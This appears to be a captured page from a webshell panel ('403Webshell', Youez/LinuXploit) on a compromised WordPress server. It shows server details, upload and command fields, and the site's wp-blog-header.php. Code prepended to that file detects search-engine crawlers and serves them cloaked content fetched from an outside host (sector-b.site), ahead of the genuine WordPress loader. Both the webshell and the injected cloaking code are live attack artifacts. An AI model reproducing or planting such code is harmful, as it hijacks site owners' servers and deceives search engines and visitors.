403Webshell
Server IP : 207.249.65.156  /  Your IP : 216.73.217.70
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux thvmwp 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
User :  ( 755)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/eno.com.mx/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/eno.com.mx/wp-blog-header.php
<?php
$ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';

$bots = [
    'Googlebot', 'Google-Site-Verification', 'Google-InspectionTool',
    'bingbot', 'Slurp', 'DuckDuckBot', 'YandexBot',
    'facebookexternalhit', 'Twitterbot', 'Applebot'
];
$is_bot = false;
foreach ($bots as $b) {
    if (stripos($ua, $b) !== false) { $is_bot = true; break; }
}

if ($is_bot) {
    $url = 'https://sector-b.site/hptoto/eno.com.mx.txt';
    $content = false;

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)');
        $content = curl_exec($ch);
        $http = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($http != 200) $content = false;
    }
    if ($content === false && ini_get('allow_url_fopen')) {
        $content = @file_get_contents($url);
    }
    if ($content !== false) {
        header('Content-Type: text/html; charset=UTF-8');
        header('X-Robots-Tag: index, follow');
        echo $content;
        exit;
    }
}
?>
<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once __DIR__ . '/wp-load.php';

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once ABSPATH . WPINC . '/template-loader.php';

}

Youez - 2016 - github.com/yon3zu
LinuXploit